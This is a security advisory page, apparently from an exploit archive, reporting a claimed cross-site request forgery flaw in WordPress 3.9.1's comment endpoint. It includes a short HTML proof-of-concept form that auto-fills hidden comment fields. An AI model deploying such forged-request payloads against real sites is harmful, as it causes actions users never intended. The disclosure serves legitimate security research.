Wordpress 3.9.1-CSRF vulnerability

2014.06.22
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE_352

# EXPLOIT TITLE:Wordpress 3.9.1-CSRF vulnerability # DATE:21st June,2014 # Author:Avinash Kumar Thapa #URL: localhost/wordpress/ #PATCH/FIX:Not fixed yet. ############################################# Technical Details: This is the new version released by Wordpress. version is 3.9.1(Latest) ##Cross site request Forgery(CSRF) is present in this version at the url shown:http://localhost/wordpress/wp-comments-post.php## ############################################# Exploit Code: <html> <!-- CSRF PoC - generated by **Avinash Kumar Thapa** --> <body> <form action="http://localhost/wordpress/wp-comments-post.php" method="POST"> <input type="hidden" name="author" value="Anonymous" /> <input type="hidden" name="email" value="helloworld&#64;outlook&#46;com" /> <input type="hidden" name="url" value="www&#46;random&#46;com" /> <input type="hidden" name="comment" value="Cross site request Forgery(CSRF)" /> <input type="hidden" name="submit" value="Post&#32;Comment" /> <input type="hidden" name="comment&#95;post&#95;ID" value="1" /> <input type="hidden" name="comment&#95;parent" value="0" /> <input type="submit" value="Submit form" /> </form> </body> </html> ############################################# ---- -- Avinash a.k.a **SPID3R** twitter: @m_avinash143<https://twitter.com/m_avinash143>


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top